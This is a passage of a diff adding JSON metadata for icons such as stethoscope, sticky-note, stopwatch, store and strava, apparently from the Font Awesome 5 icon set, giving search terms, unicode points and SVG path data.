+ "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z" + } + }, + "free": [ + "solid" + ] + }, + "step-forward": { + "changes": [ + "1", + "5.0.0", + "5.10.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "end", + "last", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f051", + "label": "step-forward", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z" + } + }, + "free": [ + "solid" + ] + }, + "stethoscope": { + "changes": [ + "3", + "5.0.0", + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "diagnosis", + "doctor", + "general practitioner", + "hospital", + "infirmary", + "medicine", + "office", + "outpatient" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0f1", + "label": "Stethoscope", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "sticker-mule": { + "changes": [ + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f7", + "label": "Sticker Mule", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699931, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z" + } + }, + "free": [ + "brands" + ] + }, + "sticky-note": { + "changes": [ + "4.4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "message", + "note", + "paper", + "reminder", + "sticker" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f249", + "label": "Sticky Note", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z" + }, + "regular": { + "last_modified": 1628088635027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "stop": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "block", + "box", + "square" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f04d", + "label": "stop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635727, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "stop-circle": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "block", + "box", + "circle", + "square" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f28d", + "label": "Stop Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635727, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z" + }, + "regular": { + "last_modified": 1628088635028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "stopwatch": { + "changes": [ + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "clock", + "reminder", + "time" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2f2", + "label": "Stopwatch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635728, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" + } + }, + "free": [ + "solid" + ] + }, + "stopwatch-20": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "ABCs", + "countdown", + "covid-19", + "happy birthday", + "i will survive", + "reminder", + "seconds", + "time", + "timer" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06f", + "label": "Stopwatch 20", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635728, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z" + } + }, + "free": [ + "solid" + ] + }, + "store": { + "changes": [ + "5.0.13", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "buy", + "purchase", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54e", + "label": "Store", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635729, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 616 512\"><path d=\"M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "616", + "512" + ], + "width": 616, + "height": 512, + "path": "M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z" + } + }, + "free": [ + "solid" + ] + }, + "store-alt": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "buy", + "purchase", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54f", + "label": "Alternate Store", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635729, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z" + } + }, + "free": [ + "solid" + ] + }, + "store-alt-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "buy", + "closed", + "covid-19", + "purchase", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e070", + "label": "Alternate Store Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635728, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z" + } + }, + "free": [ + "solid" + ] + }, + "store-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "buy", + "closed", + "covid-19", + "purchase", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e071", + "label": "Store Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635729, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z" + } + }, + "free": [ + "solid" + ] + }, + "strava": { + "changes": [ + "5.0.0", + "5.0.1", + "5.7.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f428", + "label": "Strava", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775918, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z" + } + }, + "free": [ + "brands" 